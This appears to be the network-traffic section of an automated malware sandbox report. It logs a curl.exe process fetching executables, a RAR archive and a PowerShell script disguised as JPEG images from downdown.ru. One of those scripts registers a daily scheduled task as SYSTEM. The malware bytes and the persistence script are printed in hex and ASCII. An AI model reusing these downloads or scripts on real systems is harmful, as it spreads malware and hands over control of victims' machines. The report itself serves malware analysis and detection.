Jan 8, 2025 16:18:13.144126892 CET	1289	IN	Data Raw: 00 8d 85 44 f8 ff ff 50 e8 e8 11 00 00 68 08 72 42 00 8d 85 44 f8 ff ff 50 e8 d7 11 00 00 53 8d 85 44 f8 ff ff 50 e8 ca 11 00 00 83 c4 18 e9 dd fe ff ff 53 8d 85 44 f8 ff ff 50 e8 b5 11 00 00 59 59 39 9d c8 fe ff ff 74 0c ff b5 c8 fe ff ff e8 68 Data Ascii: DPhrBDPSDPSDPYY9thYu8DPtPY3HHVf~uh@YF ^f VftP&fY^Vt$^Vt$W~t/F
Jan 8, 2025 16:18:13.368478060 CET	1289	IN	Data Raw: 30 02 00 00 e8 a2 fb ff ff 8d 8e 10 03 00 00 e8 97 fb ff ff 8d 8e 40 03 00 00 e8 8c fb ff ff 8d 8e 78 06 00 00 e8 81 fb ff ff 8d 8e 8c 06 00 00 e8 76 fb ff ff 8d 8e 34 07 00 00 e8 6b fb ff ff 8d 8e 34 01 00 00 e8 60 fb ff ff 8d 8e c4 01 00 00 e8 Data Ascii: 0@xv4k4`ULJd?X4L)@(N\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49719	185.125.51.5	80	1360	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:14.605125904 CET	90	OUT	GET /svchost.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 16:18:14.830715895 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:14 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:14 GMT ETag: "515a00-62831fb3f4480" Accept-Ranges: bytes Content-Length: 5331456 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h};};};";};#;};;};;};Rich};PELXf"0QT%@@vQ@v%.textw( `.itextT%@.rdata%.@@.data&Q%$Q2@.relocvVQ@B [TRUNCATED]
Jan 8, 2025 16:18:14.830806971 CET	1289	IN	Data Raw: 45 08 8b 55 10 56 8b f1 33 c9 57 8b 7d 18 89 4e 08 89 4e 14 89 4e 18 89 4e 1c 89 4e 20 89 4e 24 89 4e 28 89 4e 2c 8d 4d 08 51 6a 40 ff 75 1c 89 06 8b 45 0c 89 56 0c 8b 55 14 57 89 46 04 89 56 10 ff 50 18 85 c0 75 0c c7 46 08 09 00 00 00 e9 d5 00 Data Ascii: EUV3W}NNNNN N$N(N,MQj@uEVUWFVPuFS^@sFFMZFf9tFH<;sFN9PEtFtVN RTP<;sFORPQFH33L
Jan 8, 2025 16:18:14.830918074 CET	1289	IN	Data Raw: 50 8d 46 14 50 8b ce e8 ac fe ff ff 6a 0e 68 a8 a0 65 01 68 09 fb cc 65 e8 56 08 00 00 83 c4 0c 50 8d 46 18 50 8b ce e8 8c fe ff ff 6a 10 68 94 a0 65 01 68 60 21 da 4b e8 36 08 00 00 83 c4 0c 50 8d 46 1c 50 8b ce e8 6c fe ff ff 6a 19 68 78 a0 65 Data Ascii: PFPjheheVPFPjheh`!K6PFPljhxeh=PF PLjhdehIiPF$P,_^[d39t89At39At.9At)9At$9At9At9At9A t9A$t9A(t9A,t@L$3f9tf
Jan 8, 2025 16:18:14.831039906 CET	1289	IN	Data Raw: 66 3b 46 06 73 28 6a 05 68 18 a2 65 01 57 e8 ef fb ff ff 83 c4 0c 85 c0 74 0e 0f b7 46 06 43 83 c7 28 3b d8 7c e0 eb 06 8b 47 24 89 45 f8 33 c0 33 db 66 3b 46 06 73 4c 6a 06 68 10 a2 65 01 57 e8 bd fb ff ff 83 c4 0c 85 c0 74 0e 0f b7 46 06 43 83 Data Ascii: f;Fs(jheWtFC(;\|G$E33f;FsLjheWtFC(;\|*ueEPjj(WVtEG$EPuj(WV_^[UeSVs<FW\|03f;Fs#jh eWHtFE(9E\|3_^[G4\|\V+eMQ
Jan 8, 2025 16:18:14.831156015 CET	1289	IN	Data Raw: 55 10 74 05 66 89 11 5d c3 66 89 51 fe 5d c3 55 8b ec 51 51 8b 4d 14 8b 11 8b 4d 0c 33 c0 83 e2 07 83 f9 05 73 02 c9 c3 83 45 10 05 83 4d 0c ff 53 56 8b 75 08 8d 4c 0e fc 57 89 4d fc 8d 3c 30 eb 09 8a 07 24 fe 3c e8 74 06 47 3b 7d fc 72 f2 8b c7 Data Ascii: Utf]fQ]UQQMM3sEMSVuLWM<0$<tG;}r+E;}+Mv=3OEtuWOOO}tA]@Ite+eKttuE@]++ut0ej
Jan 8, 2025 16:18:14.831237078 CET	1289	IN	Data Raw: fe c1 ef 0b 0f af 7d e8 39 7d fc 73 47 b8 00 08 00 00 2b 45 e8 8b f7 8b 7d ec c1 e8 05 03 45 e8 3b 7d dc 66 89 01 8b 45 c4 1b c9 23 4d d0 2b 4d dc 03 cf 8a 0c 01 88 0c 07 47 ff 45 e0 83 7d f4 07 89 7d ec 1b c0 83 e0 fe 83 c0 0b 89 45 f4 e9 56 08 Data Ascii: }9}sG+E}E;}fE#M+MGE}}EV)}+}+f9)}++}fM}O}s]}E}}9]s+Mf)]+}fM}+O
Jan 8, 2025 16:18:14.831358910 CET	1289	IN	Data Raw: e7 08 0b fb 8b 5d e8 c1 e6 08 ff 45 f8 89 7d fc 8b fe c1 ef 0b 0f af f8 39 7d fc 73 15 8b f7 bf 00 08 00 00 2b f8 c1 ef 05 03 f8 66 89 39 8b c3 eb 13 29 7d fc 2b f7 8b f8 c1 ef 05 2b c7 66 89 01 8b 45 e8 40 83 e8 40 83 f8 04 0f 82 98 02 00 00 33 Data Ascii: ]E}9}s+f9)}++fE@@3G#IM}]+EX^Ms]MEMM9]s+Ef)]+MfE+GEEeMu
Jan 8, 2025 16:18:14.831465960 CET	1289	IN	Data Raw: c0 5b c2 04 00 55 8b ec 83 ec 18 8b 55 08 03 55 0c 8b 48 20 89 55 0c 33 d2 89 4d fc 8b 48 08 42 d3 e2 53 8b 58 10 56 8b 70 1c 57 8b 78 34 4a 23 50 2c 8b cf c1 e1 04 03 ca 0f b7 0c 4b 89 5d f8 89 4d ec 81 fe 00 00 00 01 73 23 8b 4d 08 3b 4d 0c 72 Data Ascii: [UUUH U3MHBSXVpWx4J#P,K]Ms#M;Mr3a]E]M9MOMlx0Mux,t6H$uH(X\jY*3HBJ#P,i]sY3AE;s E;E]
Jan 8, 2025 16:18:14.831583023 CET	1289	IN	Data Raw: ca 02 d3 e2 2b d0 8d 8c 57 5e 05 00 00 eb 47 83 e9 04 3b f3 73 20 8b 45 08 3b 45 0c 0f 83 28 fb ff ff 8b 55 fc 0f b6 00 c1 e2 08 0b d0 c1 e6 08 ff 45 08 89 55 fc 8b 45 fc d1 ee 2b c6 c1 e8 1f 48 23 c6 29 45 fc 49 75 c9 8d 8f 44 06 00 00 c7 45 ec Data Ascii: +W^G;s E;E(UEUE+H#)EIuDE3B;s E;E}E}<9Es)E+BMu;sE9EE_^[PVpp@IaLQ ^D$33AHLPH
Jan 8, 2025 16:18:14.831711054 CET	1289	IN	Data Raw: c4 1c 85 f6 75 08 83 3b 03 75 03 6a 06 5e 8b 45 b4 8b 4d 0c ff 75 28 89 01 8d 45 90 50 e8 73 fe ff ff 59 59 8b c6 5f 5e 5b c9 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: u;uj^EMu(EPsYY_^[
Jan 8, 2025 16:18:15.056329012 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00H`0Z-MyAW~P`u*kuN(Wor zc}0`V`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49720	185.125.51.5	80	5308	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:18.041137934 CET	88	OUT	GET /Trays.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 16:18:18.258450031 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:18 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "1adacc-62831fb300240" Accept-Ranges: bytes Content-Length: 1759948 Content-Type: image/jpeg Data Raw: 52 61 72 21 1a 07 00 ce 99 73 80 00 0d 00 00 00 00 00 00 00 1f 3b 19 a6 5d b5 91 1f 9b e7 fa 36 2c 14 2c 3a d3 ef 6b 2a 9c fe f4 92 fc 51 72 86 36 3b 68 97 d9 fb 42 71 53 f8 e0 5e 7b 4d c8 c1 d7 c3 c5 0e d4 38 42 21 ea a3 d2 1b 57 e7 b2 1c 9b 7a 7f 17 91 29 33 70 00 ce e0 c3 3e 93 ec 84 c5 fa b4 f6 66 b6 cd 21 d6 a7 5a f7 03 6a df 29 4a b1 b0 0d 10 c9 28 7a 77 94 3e ed 05 9d 60 cf b9 65 24 70 37 96 39 dd 59 e5 b2 b0 2a b5 d5 43 31 60 b1 be 61 35 00 d1 59 94 2b 73 f1 f9 cb b4 ca e8 38 79 e5 f9 91 1c 24 6c a9 43 a7 f9 76 50 b4 8e 7f 0b db 4f 64 d7 6d 3f 3b 46 a9 0e d3 f6 06 54 12 4a a6 ac 0b 1e b0 cf da cd 81 98 1c 8e bb ef 25 30 0d 71 f4 4a 32 fe 16 e9 62 5b 60 cc 52 47 a5 6d 98 1b 45 74 c6 e9 b8 1a 18 aa e5 25 07 68 4c 81 34 4c 93 96 3e 4c ae 9d 1b 81 50 a0 79 20 c1 fe 36 34 3d d1 c1 f2 f9 01 42 71 84 b1 e1 05 96 a7 11 a2 3b 41 e8 ac 05 8f 31 05 c5 66 d5 34 a3 01 b2 2e 48 66 6e 9d bd b7 9d da 80 45 7d 64 bc db df c3 1f 62 47 20 0b 91 19 4c 17 6b ab ff f3 76 fa 4e b1 e7 9a 27 26 6b 8b 33 b2 03 65 75 [TRUNCATED] Data Ascii: Rar!s;]6,,:kQr6;hBqS^{M8B!Wz)3p>f!Zj)J(zw>`e$p79YC1`a5Y+s8y$lCvPOdm?;FTJ%0qJ2b[`RGmEt%hL4L>LPy 64=Bq;A1f4.HfnE}dbG LkvN'&k3euw@1t`}VP0+&H}AZ`2j$vv2N^05?t@A_h!.wX3m:V'3`5.n,h//~g%\'x?-/[bOYiB* e)A2D998e_EDTK>nF/o5, bjn{DBd2us[Jj8"E2`#_3OH^/Fj-mkPZ95{TJ.O@M&<W\|<h-4Cz4)u&9v!t7,X_<"bxNfC~vR8NHa8$9l+vL&=KL GVYj>?U\e \e<h!k< (c]Z+a}hx\|G\RfUn>nEF6hEO/;T@nRS#OEds~/A6uE:]Hpje [TRUNCATED]
Jan 8, 2025 16:18:18.258593082 CET	1289	IN	Data Raw: 7f bb 0a 0a f5 af b7 2b e8 0b db 93 b0 3a 80 31 c9 e7 79 fb 52 3e cf ee 2a f5 48 dc e8 c1 f2 1f 4d 07 d2 1f 53 25 48 a0 ea 45 6a 01 30 f3 6d 93 42 7c 8f b0 e4 c1 36 42 0e 21 5b bb f8 10 86 dc eb 8a 46 a1 76 3d 1c 02 dd 32 21 41 36 a4 04 ef 8b 1e Data Ascii: +:1yR>HMS%HEj0mB\|6B![Fv=2!A6z)"y0D}+,Y>~TI#S,u]q[N~Eu!u)j^78HO `+;-~z[nArj9{u"Bi;>eB
Jan 8, 2025 16:18:18.258649111 CET	1289	IN	Data Raw: 59 8a d3 a1 21 ee 60 8e a6 e7 de e1 ec 72 2b fd 9c c1 51 5e a6 69 34 57 9e 3a a8 84 f7 ee 22 38 fc ce 4c ed 89 92 5f 1b e6 aa d2 fc fe 1d 55 5d 75 01 30 52 62 82 fd 49 46 df eb b2 03 0c f8 73 32 80 a1 6f d8 a3 6c 9e e4 25 dd 16 ba 9b 13 2c 79 35 Data Ascii: Y!`r+Q^i4W:"8L_U]u0RbIFs2ol%,y5z<U8+oNuLp>m%N`7V>4Gr[dtu8Y@<HoE/c_qx;Dwy#]x%xx&rHv;
Jan 8, 2025 16:18:18.258807898 CET	1289	IN	Data Raw: 4e 0f 6c 69 bc a2 3b 3d 8a 1e d8 b4 2b f9 42 39 66 77 dd 7c 67 f8 c0 10 2a cf a8 c0 cd 62 bb 7a 81 d8 81 80 de eb b7 62 77 24 b8 49 b9 9d 97 b4 38 23 1f 71 88 99 bd 1c 52 00 29 0c 88 01 79 5f 21 59 c8 92 4f 32 31 a8 4e 05 fc 22 e0 50 ea 02 be c0 Data Ascii: Nli;=+B9fw\|gbzbw$I8#qR)y_!YO21N"P"Zcb3NadB U$lO6:p-<ALvz5eCAGzryqE9tv/B$[MB~<-v`>kb6ZQeevo&\y>Iy=o\|hZ
Jan 8, 2025 16:18:18.258897066 CET	1289	IN	Data Raw: 75 23 99 df df 6c fd 81 77 c8 72 8f 12 b8 52 3e 59 d7 f1 38 86 38 00 13 f1 02 e7 9b 4c e4 d3 a6 97 fc 86 a3 7a 98 3a 26 08 4a c3 0f 58 59 91 ce ae c1 fa de 53 b4 fa 7c 19 d4 ff 71 e1 c7 6a 0c 8a 19 67 fc 38 35 a7 b3 98 13 17 bb e9 6c f9 4a ec 45 Data Ascii: u#lwrR>Y88Lz:&JXYS\|qjg85lJE]3^y1de'TAsB@MD"#K:.QmJ>N#a5ro(v!jGKVxj20s%5h}*-Mw&&
Jan 8, 2025 16:18:18.258972883 CET	1289	IN	Data Raw: 41 d2 46 75 d0 05 be d3 6c 27 82 26 8b 28 ed ba 9c c8 a4 2e d8 9c 08 41 41 38 52 dd aa 5f 93 57 47 17 05 45 8b 1b 2f b3 20 e5 e6 82 4e aa 91 b9 b1 d9 2f 5a 6d 3c e4 5c 04 50 d1 fc 38 b5 58 ce 21 da a1 43 5f de 43 85 a0 08 53 57 6a af 7d f0 75 72 Data Ascii: AFul'&(.AA8R_WGE/ N/Zm<\P8X!C_CSWj}urfFl8DL0{:qLkn.2mh0=5-0)(Ei&'[yq6nK<]qfPU)1wX\|pu C+mUi4tWpf^
Jan 8, 2025 16:18:18.259085894 CET	1289	IN	Data Raw: 15 cb c7 e6 52 d4 33 18 88 c4 f9 fc ed 3f 02 25 23 76 f7 92 34 54 f3 7f 74 1c e1 d4 6a 28 cc 0c 03 95 90 93 f0 cc ae 39 cf 0a 89 c1 cb 7a e1 2b 29 78 ee e2 0a 6c 22 38 f5 85 63 b4 bc 11 33 22 a4 89 99 37 bd c6 85 a4 25 40 3f 71 6d bc 75 b6 a9 cd Data Ascii: R3?%#v4Ttj(9z+)xl"8c3"7%@?qmul1\|J~d>=+h6uevA+o7$DFuQ2tdyN`Uey%e8so\eb~iLyYJ"lTThH>bA}$/gGsbJL
Jan 8, 2025 16:18:18.259234905 CET	1289	IN	Data Raw: 19 1d d2 36 a3 c3 ea 07 33 42 33 94 bd e7 90 05 e5 24 59 15 ea 58 09 3c b6 4d 7e ad b0 b2 4f c9 d6 9f a0 32 8a 89 1d ba 65 95 f6 c1 1d 65 b8 b2 75 f1 60 af f7 d8 8d 49 08 b1 63 1f cd 47 3c b4 b1 7c 12 bc 0f 50 21 d9 7f d4 c7 79 d6 a4 7f 22 cb 9d Data Ascii: 63B3$YX<M~O2eeu`IcG<\|P!y"8C^a4k\|?D14+':2x\|Ee71:AsH~O:l8A<%T0\|F+{*}riNbJ>UC.r)`eDl7sH
Jan 8, 2025 16:18:18.259325981 CET	1289	IN	Data Raw: 9b e1 14 9f 66 c9 ef 76 7f 9d 92 d8 aa ea 3c fd d2 aa b8 27 4b df 0f c1 10 ed 4e d8 fc 79 df c1 33 ac d7 1c ab b9 97 5f e2 b0 0e 43 bf 1a 49 22 50 ff 8e 6c 2b c6 41 f7 34 55 85 01 85 ad 7c e8 c2 bc a9 c7 43 a1 7a 5b 21 dc ed 89 d3 24 89 19 3f 4b Data Ascii: fv<'KNy3_CI"Pl+A4U\|Cz[!$?KUf`9pn2^#]7u1Jig,\Pp^"d4G%ZbcGICq>2%m?4O3%Nt;l~o83P176'&'w#ir4db+/H
Jan 8, 2025 16:18:18.259438992 CET	1289	IN	Data Raw: 4c 09 35 d5 35 36 51 1e 50 51 8d e0 a2 2a d0 dc 4b 84 66 60 4d 2b 21 68 d4 47 12 59 8a 84 62 58 cd a2 c3 73 86 1f 8e ed ad 05 c2 c2 df d0 0e 4c a9 a8 23 39 80 03 59 39 a1 4b 0c 48 77 f8 41 04 f0 d3 32 af a6 e9 13 a3 da 7b 50 8f 88 9b 14 ec 92 a9 Data Ascii: L556QPQ*Kf`M+!hGYbXsL#9Y9KHwA2{Pr?g0%'`XwtuoghJ4r[`\|KZVf \l8ru}{}]iA:g;.;rV+]To#gJr,xy55H+r>bBK9}s=rdJ
Jan 8, 2025 16:18:18.475719929 CET	1289	IN	Data Raw: f6 14 f6 65 50 b3 40 4c 1f b5 b0 1f bf ce 21 aa ac a9 08 3c ed c3 33 69 4f 23 9f 98 ac 52 52 fe 07 3c 51 25 c0 35 2a 18 bf 50 14 a4 c2 40 7f 7e e3 db f3 d8 f5 f1 03 59 29 4e 9b 33 fe e5 fe 21 6c 6c e7 11 9f ce 6e d9 b2 1b 6f 8c 67 4e e3 0c ee 4a Data Ascii: eP@L!<3iO#RR<Q%5P@~Y)N3!llnogNJU#f+bdIBM&`H[52AZ5U'x6XxD%4ZYVtn7N;Cl9=05C(McrixGpE$yMuV$eIHC]9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49721	185.125.51.5	80	1160	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:20.578505039 CET	86	OUT	GET /wol.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 16:18:20.800669909 CET	924	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:20 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:12 GMT ETag: "29e-62831fb20c000" Accept-Ranges: bytes Content-Length: 670 Content-Type: image/jpeg Data Raw: 24 41 63 74 69 6f 6e 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 41 63 74 69 6f 6e 20 2d 45 78 65 63 75 74 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 6d 73 65 64 67 65 2e 65 78 65 22 0d 0a 24 54 72 69 67 67 65 72 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 54 72 69 67 67 65 72 20 2d 44 61 69 6c 79 20 2d 41 74 20 22 30 31 3a 30 30 41 4d 22 0d 0a 24 50 72 69 6e 63 69 70 61 6c 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 50 72 69 6e 63 69 70 61 6c 20 2d 55 73 65 72 49 64 20 22 53 59 53 54 45 4d 22 20 2d 4c 6f 67 6f 6e 54 79 70 65 20 53 65 72 76 69 63 65 41 63 63 6f 75 6e 74 20 2d 52 75 6e 4c 65 76 65 6c 20 48 69 67 68 65 73 74 0d 0a 23 20 d0 a1 d0 be d0 b7 d0 b4 d0 b0 d0 bd d0 b8 d0 b5 20 d0 bd d0 b0 d1 81 d1 82 d1 80 d0 be d0 b5 d0 ba 20 d0 b7 d0 b0 d0 b4 d0 b0 d1 87 d0 b8 0d 0a 24 54 61 73 6b 53 65 74 74 69 6e 67 73 20 3d 20 4e 65 77 2d 53 [TRUNCATED] Data Ascii: $Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest# $TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun# Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49722	185.125.51.5	80	5924	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:21.357249022 CET	85	OUT	GET /dc.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 16:18:21.582456112 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:21 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:22:40 GMT ETag: "cb190-628362a1aac00" Accept-Ranges: bytes Content-Length: 831888 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-iii9k`:w`,`+PN%cN%Hid` /w:kw;hi8h`>hRichiPELK#c @p\| @@<T @.text `.rdata\ @@.datah@.rsrcH@@ [TRUNCATED]
Jan 8, 2025 16:18:21.582549095 CET	1289	IN	Data Raw: 00 00 38 05 92 72 49 00 74 43 68 a4 03 00 00 50 8d 54 24 0c 52 a2 92 72 49 00 89 81 8c 01 00 00 e8 c5 21 01 00 a1 c0 72 49 00 83 c4 0c 8d 0c 24 51 6a 02 c7 44 24 08 a8 03 00 00 89 44 24 0c c7 44 24 10 01 00 00 00 ff 15 8c 24 48 00 81 c4 ac 03 00 Data Ascii: 8rItChPT$RrI!rI$QjD$D$D$$HF$S3;JF,^$;J^,^0^4^8^[~jytNHFN3HFD$L$S\$W\|$PQ_[UQV;
Jan 8, 2025 16:18:21.582659006 CET	1289	IN	Data Raw: 44 24 20 89 44 24 1c 89 44 24 28 89 44 24 60 89 44 24 64 88 44 24 68 88 44 24 69 89 44 24 54 89 44 24 58 88 44 24 5c 88 44 24 5d 89 44 24 48 89 44 24 4c 88 44 24 50 88 44 24 51 89 44 24 78 89 44 24 7c 88 84 24 80 00 00 00 88 84 24 81 00 00 00 89 Data Ascii: D$ D$D$(D$`D$dD$hD$iD$TD$XD$\D$]D$HD$LD$PD$QD$xD$\|$$D$<D$@D$DD$ED$lD$pD$tD$uD$;-JJEEJSp3D$4ftxAfuvIfu2tG
Jan 8, 2025 16:18:21.582776070 CET	1289	IN	Data Raw: 02 00 bf cc 7c 4a 00 8b c6 e8 3a 28 00 00 b0 01 5f c3 cc cc cc cc cc cc 83 7f 08 00 77 08 c7 47 08 00 00 00 00 c3 53 56 33 f6 8b 47 04 8b 1c b0 85 db 74 10 8b cb e8 cd 0b 00 00 53 e8 96 f8 00 00 83 c4 04 46 3b 77 08 72 e0 5e 5b c7 47 08 00 00 00 Data Ascii: \|J:(_wGSV3GtSF;wr^[G;P}Vr0@^;t%hHHD28rISUl$DVW3wHt$8D$(D$0\$4jL$,Q\|J}'6=rIt$(w\|$(wHt$8D$0
Jan 8, 2025 16:18:21.582900047 CET	1289	IN	Data Raw: 00 01 00 00 00 c7 84 24 3c 01 00 00 04 00 00 00 e8 34 13 01 00 8d 44 24 30 50 8d 8c 24 4c 01 00 00 33 d2 51 66 89 94 24 36 01 00 00 e8 3f f7 00 00 83 c4 20 8d 94 24 18 01 00 00 52 6a 01 ff 15 8c 24 48 00 8d 4c 24 08 e8 b2 06 00 00 5f 5e 8b e5 5d Data Ascii: $<4D$0P$L3Qf$6? $Rj$HL$_^]PSUVWt$<D$d3Pl$hh}JU#H}Jt$@\|$(\|J}JGHt$3MT$('t$(rGHt$D$0
Jan 8, 2025 16:18:21.583008051 CET	1289	IN	Data Raw: 68 e8 90 6e 00 00 8b 74 24 7c b8 01 00 00 00 89 44 24 70 89 44 24 68 8b 44 24 10 83 78 08 04 0f 84 14 d3 02 00 8b 5c 24 60 83 fb 04 0f 84 12 d3 02 00 8b 57 04 8b 84 24 84 00 00 00 8b 04 82 66 83 78 08 7f 0f 85 0d d3 02 00 33 f6 32 d2 eb 06 8d 9b Data Ascii: hnt$\|D$pD$hD$x\$`W$fx32EHM;J@~<Jt1u-@fxuuIL$PL$(ND$xgt$mD$h\$D$ V
Jan 8, 2025 16:18:21.583125114 CET	1289	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc b8 28 20 00 00 e8 c6 28 02 00 53 55 56 8b d9 57 8d 7b 14 89 7c 24 1c e8 d4 f0 ff ff 8b 84 24 3c 20 00 00 33 ed 89 2b 83 c3 04 50 8b c3 e8 6e f8 ff ff 89 6c 24 14 c6 44 24 12 00 89 6c 24 18 c6 44 24 13 00 8b Data Ascii: ( (SUVW{\|$$< 3+Pnl$D$l$D$Sf \|f\|5C;iL$fEf t9ft3f"tfDL0AL$f8"{\|$tjD$\|$t3\|$0t
Jan 8, 2025 16:18:21.583237886 CET	1289	IN	Data Raw: 34 b9 85 f6 74 1b 0f b7 46 08 66 83 f8 3f 0f 8e dd 00 00 00 56 e8 99 e4 00 00 8b 44 24 40 83 c4 04 47 3b 78 08 72 d5 8b 54 24 3c 89 6a 08 66 39 2b 0f 84 fc 01 00 00 eb 0b 8d a4 24 00 00 00 00 8d 64 24 00 0f b7 04 6b 66 83 f8 20 0f 84 f7 00 00 00 Data Ascii: 4tFf?VD$@G;xrT$<jf9+$d$kf fkfl$fl$f0f.fA*faf_ $=B(v)O"D&(4@$3@f
Jan 8, 2025 16:18:21.583355904 CET	1289	IN	Data Raw: 00 00 8d 74 24 14 e8 b0 f7 ff ff 8d 74 24 20 8d 7c 24 14 e8 f3 f2 ff ff 57 e9 e3 fc ff ff 66 83 fe 7a 0f 86 96 fd ff ff e9 67 fb ff ff bf 56 00 00 00 8d 74 24 14 45 e8 7f f7 ff ff 56 e9 bf fc ff ff bf 52 00 00 00 8d 74 24 14 45 e8 6a f7 ff ff 56 Data Ascii: t$t$ \|$WfzgVt$EVRt$EjVDkE=t$C>T$RzEf<k=t$BVmB1@1@2@1@g/@BI2@3@3@2@2@2@BEB
